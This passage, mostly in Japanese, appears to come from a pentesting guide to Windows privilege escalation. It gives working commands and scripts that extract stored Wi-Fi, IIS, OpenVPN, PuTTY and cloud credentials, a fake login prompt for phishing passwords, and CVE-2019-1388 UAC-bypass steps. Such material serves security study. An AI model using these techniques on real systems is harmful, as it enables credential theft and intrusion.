PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
Copy #List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
保存されたRDP接続
それらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\
にあります。
最近実行されたコマンド
Copy HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
リモートデスクトップ資格情報マネージャー
Copy %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg
モジュールと適切な/masterkey
を使用して任意の.rdgファイルを復号化 します。
メモリから多くのDPAPIマスタキーをMimikatz sekurlsa::dpapi
モジュールで抽出 できます。
Sticky Notes
人々はしばしばWindowsワークステーションのStickyNotesアプリを使用してパスワード やその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
にあり、常に検索して調査する価値があります。
AppCmd.exe
AppCmd.exeからパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。
AppCmd.exe は%systemroot%\system32\inetsrv\
ディレクトリにあります。
このファイルが存在する場合、いくつかの資格情報 が構成されており、回復 できる可能性があります。
このコードはPowerUP から抽出されました:
Copy function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe
が存在するか確認します。
インストーラーは SYSTEM 権限で実行され 、多くは DLL サイドローディングに脆弱です (情報元は https://github.com/enjoiz/Privesc )。
Copy $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ファイルとレジストリ (資格情報)
Puttyの資格情報
Copy reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ホストキー
Copy reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSHキーのレジストリ
SSHプライベートキーはレジストリキーHKCU\Software\OpenSSH\Agent\Keys
内に保存されるため、そこに興味深いものがないか確認する必要があります:
Copy reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
そのパス内にエントリが見つかった場合、それはおそらく保存されたSSHキーです。これは暗号化されて保存されていますが、https://github.com/ropnop/windows_sshagent_extract を使用して簡単に復号化できます。
この技術に関する詳細情報はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
ssh-agent
サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:
Copy Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
この技術はもはや有効ではないようです。いくつかのsshキーを作成し、ssh-add
で追加し、sshを介してマシンにログインしようとしました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmonは非対称キー認証中に dpapi.dll
の使用を特定しませんでした。
無人ファイル
Copy C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
あなたはこれらのファイルをmetasploit を使用して検索することもできます: post/windows/gather/enum_unattend
例の内容:
Copy <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM バックアップ
Copy # Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
クラウド認証情報
Copy #From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
SiteList.xml というファイルを探します。
Cached GPP Pasword
以前は、グループポリシープリファレンス(GPP)を介して一群のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。
このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。
これらのファイルを探します:C:\ProgramData\Microsoft\Group Policy\history
または C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (W Vista以前)
cPasswordを復号化するには:
Copy #To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Using crackmapexec to get the passwords:
パスワードを取得するための crackmapexec の使用:
Copy crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Copy Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Copy C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Copy Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Copy <authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPNの資格情報
Copy Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ログ
Copy # IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Ask for credentials
You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky ):
Copy $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
資格情報を含む可能性のあるファイル名
以前に平文 またはBase64 でパスワード を含んでいた既知のファイル
Copy $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
すべての提案されたファイルを検索します:
Copy cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Copy Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBin内の資格情報
資格情報が含まれているかどうかを確認するために、Binもチェックする必要があります。
複数のプログラムによって保存されたパスワードを回復する には、次のツールを使用できます: http://www.nirsoft.net/password_recovery_tools.html
レジストリ内
資格情報を含む他の可能性のあるレジストリキー
Copy reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
オープンSSHキーをレジストリから抽出する。
ブラウザの履歴
ChromeまたはFirefox からパスワードが保存されているdbを確認する必要があります。
また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこにパスワードが 保存されているかもしれません。
ブラウザからパスワードを抽出するためのツール:
COM DLLの上書き
コンポーネントオブジェクトモデル (COM) は、異なる言語のソフトウェアコンポーネント間の相互通信 を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって識別され、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。
COMクラスとインターフェースは、それぞれHKEY_ CLASSES_ ROOT\CLSID およびHKEY_ CLASSES_ ROOT\Interface のレジストリに定義されています。このレジストリは、HKEY_ LOCAL_ MACHINE\Software\Classes + HKEY_ CURRENT_ USER\Software\Classes = HKEY_ CLASSES_ ROOT をマージすることによって作成されます。
このレジストリのCLSID内には、DLL を指すデフォルト値 を含む子レジストリInProcServer32 があり、ThreadingModel という値があり、これはApartment (シングルスレッド)、Free (マルチスレッド)、Both (シングルまたはマルチ)、またはNeutral (スレッド中立)である可能性があります。
基本的に、実行されるDLLのいずれかを上書きすることができれば 、そのDLLが異なるユーザーによって実行される場合、特権を昇格 させることができます。
攻撃者がCOMハイジャッキングを永続性メカニズムとしてどのように使用するかを学ぶには、次を確認してください:
COM Hijacking ファイルとレジストリ内の一般的なパスワード検索
ファイルの内容を検索
Copy cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
特定のファイル名を持つファイルを検索する
Copy dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
レジストリでキー名とパスワードを検索する
Copy REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
パスワードを検索するツール
MSF-Credentials Plugin は、私が作成したmsfプラグインで、 被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを**自動的に実行するためのものです。
Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。
Lazagne は、システムからパスワードを抽出するためのもう一つの優れたツールです。
ツール SessionGopher は、セッション 、ユーザー名 、およびパスワード を検索します。これらは、クリアテキストでデータを保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)によって保存されます。
Copy Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
想像してみてください、SYSTEMとして実行されているプロセスが新しいプロセスを開く (OpenProcess()
) フルアクセスで 。同じプロセスが低い権限で新しいプロセスを作成する (CreateProcess()
) が、メインプロセスのすべてのオープンハンドルを継承します 。
その後、低い権限のプロセスにフルアクセスがある場合 、OpenProcess()
で作成された特権プロセスへのオープンハンドルを取得し 、シェルコードを注入 できます。
この例を読んで、この脆弱性を検出し、悪用する方法についての詳細情報を得てください 。
異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得るために、こちらの別の投稿を読んでください .
Named Pipe Client Impersonation
共有メモリセグメント、いわゆるパイプ は、プロセス間の通信とデータ転送を可能にします。
WindowsはNamed Pipes と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してデータを共有できます。これは、named pipe server とnamed pipe client として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。
クライアント によってパイプを通じてデータが送信されると、パイプを設定したサーバー はクライアントのアイデンティティを引き受ける 能力を持っています。必要なSeImpersonate 権限がある場合です。パイプを介して通信する特権プロセス を特定し、そのプロセスのアイデンティティを模倣する機会があり、パイプが確立された後にそのプロセスと相互作用することでより高い権限を得る ことができます。このような攻撃を実行するための指示は、こちら とこちら で見つけることができます。
また、次のツールは、burpのようなツールでnamed pipe通信を傍受することを可能にします :https://github.com/gabriel-sztejnworcel/pipe-intercept このツールは、特権昇格を見つけるためにすべてのパイプをリストし、表示することを可能にします https://github.com/cyberark/PipeViewer
Misc
パスワードのためのコマンドラインの監視
ユーザーとしてシェルを取得すると、コマンドラインで資格情報を渡す スケジュールされたタスクや他のプロセスが実行されている可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いを出力します。
Copy while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
パスワードをプロセスから盗む
低特権ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC バイパス
グラフィカルインターフェース(コンソールまたは RDP 経由)にアクセスでき、UAC が有効になっている場合、Microsoft Windows の一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。
これにより、特権を昇格させ、同じ脆弱性を使用して同時に UAC をバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。
影響を受けるシステムの一部は以下の通りです:
Copy SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
この脆弱性を悪用するには、次の手順を実行する必要があります:
Copy 1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
あなたは次のGitHubリポジトリに必要なすべてのファイルと情報を持っています:
https://github.com/jas502n/CVE-2019-1388
管理者の中程度から高い整合性レベルへ / UACバイパス
整合性レベルについて学ぶためにこれを読んでください:
Integrity Levels 次に、UACとUACバイパスについて学ぶためにこれを読んでください:
UAC - User Account Control 高い整合性からシステムへ
新しいサービス
すでに高い整合性プロセスで実行している場合、SYSTEMにパスする のは、新しいサービスを作成して実行する だけで簡単です:
Copy sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
AlwaysInstallElevated
高い整合性プロセスから、AlwaysInstallElevatedレジストリエントリを有効にし 、_.msi _ラッパーを使用してリバースシェルをインストール しようとすることができます。
関与するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。
High + SeImpersonate特権からSystemへ
コードは こちらで見つけることができます 。
SeDebug + SeImpersonateからフルトークン特権へ
これらのトークン特権を持っている場合(おそらくすでに高い整合性プロセスで見つけるでしょう)、ほぼすべてのプロセス (保護されたプロセスではない)をSeDebug特権で開くことができ 、プロセスのトークンをコピー し、そのトークンを使用して任意のプロセスを作成 することができます。
この技術を使用する際は、通常、すべてのトークン特権を持つSYSTEMとして実行されている任意のプロセスを選択します (はい、すべてのトークン特権を持たないSYSTEMプロセスを見つけることができます )。
提案された技術を実行するコードの 例はこちらで見つけることができます 。
Named Pipes
この技術は、meterpreterがgetsystem
で昇格するために使用されます。この技術は、パイプを作成し、そのパイプに書き込むサービスを作成/悪用する ことから成ります。次に、SeImpersonate
特権を使用してパイプを作成したサーバー は、パイプクライアント(サービス)のトークンを偽装 し、SYSTEM特権を取得することができます。
名前付きパイプについてもっと学びたい場合はこれを読むべきです 。
高い整合性からSYSTEMに名前付きパイプを使用して移行する方法の例を読みたい場合はこれを読むべきです 。
Dll Hijacking
SYSTEM として実行されているプロセス によってロードされるdllをハイジャック することができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権昇格にも役立ち、さらに、高い整合性プロセスからははるかに簡単に達成できます 。なぜなら、dllをロードするために使用されるフォルダーに書き込み権限 を持っているからです。
Dllハイジャックについてもっと学ぶことができます こちらで 。
AdministratorまたはNetwork ServiceからSystemへ
LOCAL SERVICEまたはNETWORK SERVICEからフル特権へ
読む: https://github.com/itm4n/FullPowers
さらなるヘルプ
静的インパケットバイナリ
有用なツール
Windowsローカル特権昇格ベクトルを探すための最良のツール: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- 誤設定や機密ファイルをチェックします ( こちらを確認 )。検出されました。
JAWS -- いくつかの可能な誤設定をチェックし、情報を収集します ( こちらを確認 )。
privesc -- 誤設定をチェックします
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルで-Thoroughを使用します。
Invoke-WCMDump -- 資格情報マネージャーから資格情報を抽出します。検出されました。
DomainPasswordSpray -- 収集したパスワードをドメインにスプレーします
Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーフィングおよび中間者ツールです。
WindowsEnum -- 基本的な特権昇格Windows列挙
Sherlock ~~ ~~ -- 既知の特権昇格脆弱性を検索します(Watsonのために非推奨)
WINspect -- ローカルチェック (管理者権限が必要)
Exe
Watson -- 既知の特権昇格脆弱性を検索します(VisualStudioを使用してコンパイルする必要があります) (事前コンパイル済み )
SeatBelt -- 誤設定を探してホストを列挙します(特権昇格よりも情報収集ツールです)(コンパイルが必要) ( 事前コンパイル済み )
LaZagne -- 多くのソフトウェアから資格情報を抽出します(GitHubに事前コンパイル済みexeあり)
SharpUP -- PowerUpのC#への移植
Beroot ~~ ~~ -- 誤設定をチェックします(GitHubに事前コンパイル済みの実行可能ファイル)。推奨されません。Win10ではうまく動作しません。
Windows-Privesc-Check -- 可能な誤設定をチェックします(Pythonからのexe)。推奨されません。Win10ではうまく動作しません。
Bat
winPEASbat -- この投稿に基づいて作成されたツール(正しく動作するためにaccesschkは必要ありませんが、使用することができます)。
Local
Windows-Exploit-Suggester -- systeminfo の出力を読み取り、動作するエクスプロイトを推奨します(ローカルPython)
Windows Exploit Suggester Next Generation -- systeminfo の出力を読み取り、動作するエクスプロイトを推奨します(ローカルPython)
Meterpreter
multi/recon/local_exploit_suggestor
プロジェクトを正しいバージョンの.NETを使用してコンパイルする必要があります(これを参照 )。被害者ホストにインストールされている.NETのバージョンを確認するには、次のようにします:
Copy C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Bibliography